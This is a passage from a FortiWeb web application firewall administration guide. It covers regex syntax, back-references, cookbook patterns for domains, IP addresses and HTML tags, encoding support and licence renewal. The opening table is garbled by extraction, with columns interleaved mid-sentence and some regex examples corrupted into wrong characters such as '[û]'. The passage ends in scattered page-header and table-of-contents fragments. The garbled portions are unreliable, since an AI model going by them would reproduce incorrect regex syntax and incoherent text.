possible (also called “greedy” matching) unless Matches: www
followed by a question mark ( ? ), which makes it
Would also match “w”, “ww”, “wwww”,
optional.
or any number of uninterrupted
Does not match if there is not at least 1 instance. repetitions of the character “w”.

* Repeatedly matches the previous character or Text: www.example.com

capture group, 0 or more times. Depending on its Regular expression: .*
combination with other special characters, this Matches: www.example.com
token could be either:
All of any text, except line endings
l *—Match as many times as possible (also
(\r and \n).
called “greedy” matching).
l *?—Match as few times as possible (also Text: www.example.com
called “lazy” matching). Regular expression: (w)*?
Matches: www
Would also match common typos
where the “w” was repeated too few or
too many times, such as “ww” in
w.example.com or “wwww” in
wwww.example.com. It would still
match, however, if no amount of “w”
existed.
? except when Makes the preceding character or capture group Text: www.example.com
followed by = optional (also called “lazy” matching). Regular expression:
(www\.)?example.com
Matches: www.example.com
Would also match example.com.
?= Looks ahead to see if the next character or capture Text: /url?parameter=valuepack

group matches and evaluate the match based upon Regular expression: p(?=arameter)
them, but does not include those next characters in Matches: p, but only in “parameter,
the returned match string (if any). not in “pack”, which does not end with
This can be useful for back-references where you “arameter”.
do not want to include permutations of the final few
characters, such as matching “cat” when it is part of
“cats” but not when it is part of “catch”.
() Creates a capture group or sub-pattern for back- Text: /url/app/app/mapp

reference or to denote order of operations. For Regular expression: (/app)*
details, see Example: Inserting & deleting body text Matches: /app/app
on page 641 and What are back-references? on
page 885. Text:
/url?paramA=valueA&paramB=valueB
Regular expression: (param)A=
(value)A&\0B\1B
Matches:
paramA=valueA&paramB=valueB
| Matches either the character/capture group before Text: Host: www.example.com

or after the pipe ( | ). Regular expression: (\r\n)|\n|\r
Matches: The line ending, regardless
of platform.

^ Matches either: Text: /url?parameter=value

l The position of the beginning of a line (or, in Regular expression: ^/url
multiline mode, the first line), not the first Matches: /url, but only if it is at the
character itself beginning of the path string. It will not
l The inverse of a character, but only if ^ is the match “/url” in subdirectories.
first character in a character class, such as
[Â] Text: /url?parameter=value
This is useful if you want to match a word, but only Regular expression: [û]
when it occurs at the start of the line, or when you Matches: /rl?parameter=vale
want to match anything that is not a specific
character.
$ Matches the position of the end of a line (or, in

multiline mode, the entire string), not the last
character itself.
[] Defines a set of characters or capture groups that Text: /url?parameter=value1

are acceptable matches. Regular expression: [012]
To define a set via a whole range instead of listing Matches: 1
every possible match, separate the first and last Would also match 0 or 2.
character in the range with a hyphen.
Note: Character ranges are matched according to Text: /url?parameter=valueB
their numerical code point in the encoding. For Regular expression: [A-C]
example, [@-B] matches any UTF-8 code points Matches: B
from 40 to 42 inclusive: Would also match “A” or “C”. It would
@AB not match “b”.
{} Quantifies the number of times the previous Text: 1234567890
character or capture group may be repeated Regular expression: \d{3}
continuously. Matches: 123
To define a varying number repetitions, delimit it
with a comma. Text: www.example.com
Regular expression: w{1,4}
Matches: www
If the string were a typo such as “ww ”
or “wwww”, it would also match that.
See also

l Language support on page 888
l "Configuring URL interpreters" on page 1
l "Configuring custom suspicious request URLs" on page 1

What are back-references?
A back-reference is a regular expression token such as $0 or $1 that refers to whatever part of the text was matched by
the capture group in that position within the regular expression.
Back-references are used whenever you want the output/interpretation to resemble the original match: they insert a
substring of the original matching text. Like other regular expression features, back-references help to ensure that you
do not have to maintain a large, cumbersome list of all possible URL or HTML permutations and their variations or
translations when using features such as custom attack signatures, or rewriting.
To invoke a substring, use $n (0 <= n <= 9), where n is the order of appearance of capture group in the regular
expression, from left to right, from outside to inside, then from top to bottom.
For example, regular expressions in a condition table in this order:
(a)(b)(c(d))(e)
l would result in back-reference variables (e.g. $0) with the following values:
l $0—a
l $1—b
l $2—cd
l $3—d
l $4—e
Numbering of back-references to capture groups starts from 0: to refer to the first

substring, use $0 or /0, not $1 or /1.
Should you use $0 or /0 to refer back to a substring? Something else? That depends.

l /0—An earlier part in the current string, such as when you have a URL that repeats: (/(^/)*)/0/0/0/0
l $0—A part of the previous match string, such as when using part of the originally matched domain name to
rewrite the new domain name: $0\.example\.co\.jp where $0 contains www, ftp, or whichever prefix
matched the first capture group in the match test regular expression, (^.)*\.example\.com
l $+—The highest-numbered capture group of the previous match string: if the capture groups were numbered 0-9,
this would be equivalent to /9.
l $&—The entire match string.
See also

Cookbook regular expressions
Some elements occur often in FortiWeb regular expressions, such as expressions to match domain names, URLs,
parameters, and HTML tags. You can use these as building blocks for your own regular expressions.
For more expressions to match items such as SQL queries and URIs, see your
FortiWeb’s list of predefined data types.
To match... You can use...
Line endings (\r\n)|\n|\r

(platform-independent)
Any alphanumeric character [a-zA-Z0-9]

(ASCII only; e.g. does not match é or É)
Specific domain name (?i)\bwww\.example\.com\b

(e.g. www.example.com; case insensitive)
Any domain name (?i)\b.*\.(a(c|d|e(ro)?|f|g|i|m|n|o|q|r|s(ia)?|t|y|w|x|z)|b

(valid non-internationalized TLDs only; does not match (a|b|d|e|f|g|h|i(z)?|j|m|n|o|r|s|t|v|w|y|z)|c(a
domain names surrounded by letters or numbers) (t)?|c|d|f|g|h|i|k|l|m|n|o((m)?(op)?)|r|s|u|v|x|y|z)|d
(e|j|k|m|o|z)|e(c|du|e|g|h|r|s|t|u)|f(i|j|k|m|o|r)|g
(a|b|d|e|f|g|h|i|l|m|n|ov|p|q|r|s|t|u|w|y)|h(k|m|n|r|t|u)|i
(d|e|l|m|n(fo)?(t)?|o|q|r|s|t)|j(e|m|o(bs)?|p)|k
(e|g|h|i|m|n|p|r|w|y|z)|l(a|b|c|i|k|r|s|t|u|vy)|m
(a|c|d|e|g|h|il|k|l|m|n|o(bi)?|p|q|r|s|t|u(seum)?|v|w|x|y|z)|n(a
(me)?|c|e(t)?|f|g|i|l|o|p|r|u|z)|o(m|rg)|p(a|e|f|g|h|k|l|m|n|r
(o)?|s|t|w|y)|qa|r(e|o|s|u|w)|s
(a|b|c|d|e|g|h|i|j|k|l|m|n|o|r|s|t|u|v|y|z)|t
(c|d|el|f|g|h|j|k|l|m|n|o|p|r(avel)?|t|v|w|z)|u(a|g|k|s|y|z)|v
(a|c|e|g|i|n|u)|w(f|s)|xxx|y(e|t|u)|z(a|m|w))\b

To match... You can use...
Any domain name (?i)\b.*\.(tél\b|中国 |中國 |日本 |新加坡 |‫|ישראל‬台灣 |‫|اﻟﺠﺰاﺋﺮ‬

(valid internationalized TLDs in UTF-8 only; does not |‫|ﻣﺼﺮ‬გე|香港 |भारत|‫|ﺑﮭﺎرت‬ | | |
match ASCII-encoded DNS forms such as xn-- |
fiqs8s) |‫|اﯾﺮان|اﻻردن‬қаз|‫|ﻣﻠﻴﺴﻴﺎ|اﻟﻤﻐﺮب|ﻋﻤﺎن‬рф|‫|ﭘﺎﮐﺴﺘﺎن‬срб|‫|ﻓﻠﺴﻄﻴﻦ|ﻗﻄﺮ‬
|‫|اﻟﺴﻌﻮدﯾﺔ‬한국|‫|ﺳﻮرﯾﺎ‬ |
|ไทย|‫|ﺗﻮﻧﺲ‬укр|‫|اﻣﺎرات‬台湾 |‫\)اﻟﻴﻤﻦ‬b
Any sub-domain name (?i)\b(.*)\.example\.com\b
Specific IPv4 address \b10\.1\.1\.1\b
Any IPv4 address \b(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-

9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-
9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\b
Specific HTML tag (?i)<\s*TAG\s*[^>]*>

(well-formed HTML only, e.g. <br> or <img
src="1.gif" />; does not match the element’s
contents between a tag pair; does not match the closing
tag)
Specific HTML tag pair and contained text/tags, if any (?i)<\s*(TAG)\s*[^>]*>[^<]*</\1>

(well-formed HTML only; expression does not validate by
DTD/Schema)
Any HTML tag pair and contained text/tags, if any (?i)<\s*([A-Z][A-Z0-9]*)\b[^>]*>(.*?)</\1>

(well-formed HTML only; expression does not validate by
DTD/Schema)
Any HTML comment (?:<|<)!--[\s\S]*?--[ \t\n\r]*(?:>|>)
Any HTML entity &(?i)(#((x([\dA-F]){1,5})|(104857[0-5]|10485[0-6]\d|1048

(well-formed entities only; expression does not validate [0-4]\d\d|104[0-7]\d{3}|10[0-3]\d{4}|0?\d{1,6}))|([A-Za-
by DTD/Schema) z\d.]{2,31}));
JavaScript UI events (?i):on(blur|c(hange|lick)|dblclick|focus|keypress|

(onClick(), onMouseOver(), etc.) (key|mouse)(down|up)|(un)?load|mouse(move|o
(ut|ver))|reset|s(elect|ubmit))
All parameters that follow a question mark or hash mark [#\?](.*)

in the URL
(e.g. #pageView or
?param1=valueA&param2=valueB...; back-
reference to this match does not include the
question/hash mark itself)
See also


Language support
Features such as Recursive URL Decoding on page 678, input rules, and attack signatures can detect attacks and data
leaks even when multiple languages are used as an evasion technique.
When configuring FortiWeb, regardless of the display language (see Global web UI & CLI settings on page 59), the
simplest case is to configure with only US-ASCII characters. All features, including queries to external servers, support
it.
If you want to configure FortiWeb using another language/encoding, or support clients using another language or
multiple languages, sometimes characters such as ñ, é, symbols, and ideographs such as 新 are valid input. Support
varies by the nature of the item being configured.
For example, by definition, host names cannot contain special characters. DNS standards predate many standards for
internationalization. Because of this, the web UI and CLI will reject input if it contains non-ASCII encoded characters
when configuring the host name. This means that languages other than English are not supported unless encoded as
an RFC 3490 (http://tools.ietf.org/html/rfc3490) international domain name (IDN) prefixed with xn--. However, other
configuration items, such as names and comments, often support the language of your choice.
To use your preferred languages in those cases, use an encoding that supports it.
For best results:
l For regular expressions that must match HTTP requests, use the same encoding as your HTTP clients.
l For other features, use UTF-8 encoding, or use only the characters whose encoded values are the same in UTF-8
(for example, US-ASCII characters are usually encoded using the same byte-wise values in ISO 8859-1, Windows
code page 1252, Shift-JIS and others; however, ideographs such as 新 may be garbled or interpreted as the wrong
character when viewed as another encoding).
HTTP clients may send requests in encodings that are not UTF-8. Encodings vary
by the client’s operating system or input language.
If you input the configuration in English, the client’s request may match regardless
of encoding: due to US-ASCII predating most other encodings, byte-wise, the values
for English characters tend to have identical numerical values in many encoding
types. For example, English words may be readable regardless of interpreting a web
page as either ISO 8859-1 or as GB2312.
For other languages (especially non-Latin alphabets such as Cyrillic and Thai),
match the client’s encoding exactly.
For example, with Shift-JIS, backslashes ( \ ) could be inadvertently interpreted as yen symbols ( ¥ ) and vice versa. A
regular expression intended to match HTTP requests containing money values with a yen symbol therefore may not
work if the symbol is entered using the wrong encoding. Likewise, simplified Chinese characters might only be
understandable if the page is interpreted as GB2312. Test your expressions. If you enter a regular expression using
another encoding, or if an HTTP client sends a request in an encoding other than UTF-8, remember that matches may
not be what you initially expect.
Regular expressions are especially impacted. Matching engines on FortiWeb use the UTF-8 character values. If
you need to match multiple possible languages from clients, especially for attack signatures, make sure you construct a
regular expression that matches all alternative values.
For example, the Latin letter C is not encoded using the same byte-wise value as the similar-looking Cyrillic letter С. A
human being can read a Spanish phrase written with that Cyrillic character, because they are visually similar. But a

regular expressions will not match unless written to match both numerical values: one for the Latin character, and one
for the Cyrillic look-alike (sometimes called a “confusable”).
To configure your FortiWeb appliance using other encodings, you may need to switch language settings on your
management computer, including for your web browser or Telnet/SSH client. For instructions on how to configure your
management computer’s operating system language, locale, or input method, see its documentation.
If you choose to configure parts of the FortiWeb appliance using non-ASCII

characters, you should also use the same encoding throughout the configuration if
possible in order to avoid needing to switch the language settings of your web
browser or Telnet/SSH client while you work.
Similarly, your web browser or CLI client should usually interpret display output as
encoded using UTF-8. If it does not, your configured items may not display correctly
in the web UI or CLI. Exceptions include items such as regular expressions that you
may have configured using other encodings in order to match the encoding of HTTP
requests that the FortiWeb appliance receives.
See also


Appendix E: How to purchase and renew FortiGuard licenses 890
Appendix E: How to purchase and renew FortiGuard

licenses
FortiGuard services can be purchased individually or in bundles. After you've registered your FortiWeb (see Registering
your FortiWeb on page 66), contact your reseller with the model of your FortiWeb and the services or bundled you would
like. Upon purchasing services from your reseller, you will receive the service registration document by email which
also includes the service in title and summary containing your contractor registration code. Here are the next steps:
1. Go to Fortinet Customer Service & Support (https://support.fortinet.com) and log in to your account.
2. Click Register/Renew.
Note: If you haven't yet registered your FortiWeb you can do so here by entering the serial number.
3. If you already registered your FortiWeb, continued by entering your Contract Registration Code from the
Service Entitlement Summary on the second page of your service registration document.
4. Choose the unit you would like to apply the service to.
5. Read and verify you agree to the terms and conditions of the service.
6. Verify the product entitlement list features all services you wish for the time period you purchased (e.g., the
Activation Date and Expiration Date columns on the right).
7. Click Confirm.
The registration is now complete.
It can take up to four hours for FortiWeb to receive the updated services. For details, see Connecting to FortiGuard

891

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FortiWeb Administration Guide

May 20, 2020

May 20, 2020 Initial release.

FortiWeb Administration Guide Fortinet Technologies Inc.

FortiWeb Administration Guide Fortinet Technologies Inc.

Topologies for high availability (HA) clustering 80

FortiWeb Administration Guide Fortinet Technologies Inc.

Example 3: Configuring a policy for load balancing 212

FortiWeb Administration Guide Fortinet Technologies Inc.

Configuring FortiWeb as an ADFS proxy 277

FortiWeb Administration Guide Fortinet Technologies Inc.

RSA SecurID authentication 360

FortiWeb Administration Guide Fortinet Technologies Inc.

Cross-Origin Resource Sharing (CORS) protection 453

FortiWeb Administration Guide Fortinet Technologies Inc.

Protecting the standard user input field 553

FortiWeb Administration Guide Fortinet Technologies Inc.

Example: Sanitizing poisoned HTML 638

FortiWeb Administration Guide Fortinet Technologies Inc.

Policy Status dashboard 696

FortiWeb Administration Guide Fortinet Technologies Inc.

Viewing bot detection model status 787

FortiWeb Administration Guide Fortinet Technologies Inc.

FortiWeb Administration Guide Fortinet Technologies Inc.

Appendix D: Regular expressions 880

FortiWeb Administration Guide Fortinet Technologies Inc.

FortiWeb Administration Guide Fortinet Technologies Inc.

FortiWeb Administration Guide Fortinet Technologies Inc.

FortiWeb Administration Guide Fortinet Technologies Inc.

l Administrative access to the web UI and/or CLI.

FortiWeb Administration Guide Fortinet Technologies Inc.

Introducing Deep Learning

FortiWeb Administration Guide Fortinet Technologies Inc.

Login failure message optimization

FortiWeb Administration Guide Fortinet Technologies Inc.

l You can re-admit a noisy sample to the legitimate sample pool.

FortiWeb Administration Guide Fortinet Technologies Inc.

This chapter defines basic FortiWeb concepts and terms.

FortiWeb Administration Guide Fortinet Technologies Inc.

This figure illustrates the general configuration process:

1. Configure anti-DoS settings for each type:

FortiWeb Administration Guide Fortinet Technologies Inc.

Execution sequence (web protection profile)

Request from client to server

Add X-Forwarded-For: l X-Forwarded-For:

IP List l Source IP address of the client depending on your configuration of

FortiWeb Administration Guide Fortinet Technologies Inc.

Quarantined source IP Source IP address of the client in the IP layer.

Geo IP l Source IP address of the client depending on your configuration of

WebSocket protocol l Host:

Add HSTS Header Strict-Transport-Security:

Allow Method l Host:

Mobile Application Token header

FortiWeb Administration Guide Fortinet Technologies Inc.

TCP Connection Number l Cookie:

HTTP Request Limit/sec l ID field of the IP header

HTTP Authentication Authorization:

Global Object White List l Cookie: cookiesession1

ADFS Proxy l Host: